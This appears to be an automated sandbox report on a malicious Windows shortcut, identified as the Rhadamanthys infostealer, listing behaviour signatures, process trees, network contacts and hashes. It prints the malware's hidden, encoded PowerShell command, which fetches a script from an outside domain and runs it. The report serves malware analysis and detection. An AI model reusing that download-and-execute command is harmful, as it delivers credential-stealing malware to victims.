Analysis Overview
SHA256
3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef
Threat Level: Known bad
The file DOC692-692692.lnk was found to be: Known bad.
Malicious Activity Summary
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 11:42
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 11:42
Reported
2024-04-05 11:44
Platform
win7-20240220-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2064 wrote to memory of 2636 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2064 wrote to memory of 2636 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2064 wrote to memory of 2636 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2636-38-0x000000001B6A0000-0x000000001B982000-memory.dmp
memory/2636-39-0x0000000002060000-0x0000000002068000-memory.dmp
memory/2636-41-0x0000000002B50000-0x0000000002BD0000-memory.dmp
memory/2636-40-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2636-42-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
memory/2636-43-0x0000000002B50000-0x0000000002BD0000-memory.dmp
memory/2636-44-0x0000000002B50000-0x0000000002BD0000-memory.dmp
memory/2636-45-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 11:42
Reported
2024-04-05 11:44
Platform
win10v2004-20240226-en
Max time kernel
92s
Max time network
94s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4876 created 2472 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4592 wrote to memory of 4876 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4592 wrote to memory of 4876 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4876 wrote to memory of 1084 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4876 wrote to memory of 1084 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4876 wrote to memory of 1084 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4876 wrote to memory of 1084 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.121.231.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 96.136.73.23.in-addr.arpa | udp |
Files
memory/4876-2-0x000001622EB60000-0x000001622EB82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdhaxyry.avd.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4876-12-0x00007FFF877D0000-0x00007FFF88291000-memory.dmp
memory/4876-13-0x000001622EBA0000-0x000001622EBB0000-memory.dmp
memory/4876-14-0x000001622EBA0000-0x000001622EBB0000-memory.dmp
memory/4876-15-0x0000016231060000-0x00000162310BE000-memory.dmp
memory/4876-16-0x0000016216970000-0x0000016216980000-memory.dmp
memory/4876-17-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-18-0x0000016216970000-0x0000016216980000-memory.dmp
memory/4876-19-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-21-0x00007FFFA5D50000-0x00007FFFA5F45000-memory.dmp
memory/4876-22-0x00007FFFA3F50000-0x00007FFFA400E000-memory.dmp
memory/4876-23-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-20-0x0000016231100000-0x0000016231500000-memory.dmp
memory/4876-24-0x00007FFFA36E0000-0x00007FFFA39A9000-memory.dmp
memory/1084-25-0x00000194D8F50000-0x00000194D8F59000-memory.dmp
memory/1084-32-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/4876-31-0x0000016231100000-0x0000016231500000-memory.dmp
memory/1084-30-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/1084-34-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp
memory/1084-33-0x00007FFFA5D50000-0x00007FFFA5F45000-memory.dmp
memory/1084-35-0x00007FFFA3F50000-0x00007FFFA400E000-memory.dmp
memory/1084-36-0x00007FFFA36E0000-0x00007FFFA39A9000-memory.dmp
memory/4876-29-0x00007FFF877D0000-0x00007FFF88291000-memory.dmp
memory/1084-37-0x00000194DAAF0000-0x00000194DAEF0000-memory.dmp